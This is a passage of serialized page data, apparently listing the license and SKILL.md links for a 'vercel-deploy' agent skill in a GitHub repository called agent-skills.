deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]